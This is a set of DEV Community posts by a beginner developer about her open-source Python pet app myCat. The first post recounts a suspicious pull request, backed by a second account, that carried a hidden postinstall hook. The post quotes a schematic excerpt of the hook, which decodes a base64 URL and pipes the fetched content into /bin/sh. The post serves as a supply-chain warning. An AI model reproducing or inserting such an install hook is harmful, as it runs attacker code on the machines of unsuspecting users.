DEV Community: Olya Pi

How we almost merged malware into an open-source project today.

Olya Pi — Wed, 29 Jul 2026 13:03:40 +0000

A short story about how it sometimes goes. An ordinary workday, the usual rush. A pull request lands in a personal open-source project — a bug fix. I take a quick look:

The bug is hard to reproduce — the app hangs when a machine has two default routes and a VPN is up. A second person shows up in the issue and confirms it: yep, same trouble, exactly the same problem.

I open the author's profile — a serious title, SRE… but almost no GitHub activity. That felt off. What exactly pulled this respectable gentleman out of the shadows for such a small project?

I review it — looks okay, a few things I'd have formatted differently, but nothing suspicious. The second participant, who had sent a harmless PR before, writes again: checked the code, it all works, let's merge. For a while I go back and forth: nitpick a few lines of formatting, or just merge as is.

By the way, I have update notifications set up on GitHub (shameless plug: github.com/yumiaura/myCat). And right then I see a commit come in with:

    // package.json
    "postinstall": "node scripts/install-app-deps.js"

    // scripts/install-app-deps.js
    const url = Buffer.from(PAYLOAD_B64, "base64").toString()
    // runs silently on install
    https.get(url, res => res.pipe(exec("/bin/sh")))

It was hidden in a postinstall script — disguised as a VS Code update. On install it quietly pulled and ran code from a remote server.

I don't know what would've happened if we'd just run it in an IDE. I just wanted to give you a heads-up — this is how it sometimes goes.

How do you review incoming PRs on your open-source projects? 🐱

myCat escaped to opensource

Olya Pi — Fri, 24 Jul 2026 17:00:03 +0000

I've been meaning to write this post for a long time - I just never worked up the nerve.
I want to tell you about my pet project.
Three years ago I got into Python. Like a lot of people, I started with online courses - and most of it went in one ear and out the other.
So, on the side, I decided to write a little screen-pet program. A simple idea, but it felt genuinely interesting to me - so interesting that I dropped the course for it.
Then came the small freelance gigs, my first real tasks. And every time I looked at the code of seasoned, bearded senior devs and compared it to mine, I felt ashamed - God forbid anyone sees this - so I'd quietly patch mine up on the sly.
Then the first AI wave arrived. First writing code through ChatGPT, then Cursor - and I was a little afraid to use it on client projects.
So myCat became the first victim of my AI experiments 😄
Around the same time I started looking through other people's public repositories - and soon realized there's nothing to be ashamed of. The cat went open source.
You can take a look (and adopt it, if you like it) on my GitHub page: https://github.com/yumiaura/myCat
Constructive criticism - and honestly any feedback or ideas - are very welcome. And if you can tell a beginner dev how to get a little cat some popularity, my gratitude will be doubled 😊
Wishing everyone all the best, interesting projects, and mountains of green dollars 💵

buildinpublic #python #opensource #selftaught #softwaredevelopment

My first little app — would love your feedback 💕

Olya Pi — Wed, 22 Oct 2025 15:28:58 +0000

Hi everyone!

So, I’m slowly making my way on the road to becoming a programmer. The syntax is already familiar, and I decided to try publishing my first small app — myCat.

It works! 🐾

If you have a moment, I’d really appreciate it if you could take a look and maybe share a few words of feedback :)

Even if it’s something like “woman, your place is in the kitchen”, I’ll still smile 😄

I’d be especially grateful if someone could tell me how to make the app version update automatically — it’s pretty annoying to change it manually in the file each time.

Wishing everyone a great day, and thank you for reading! 💖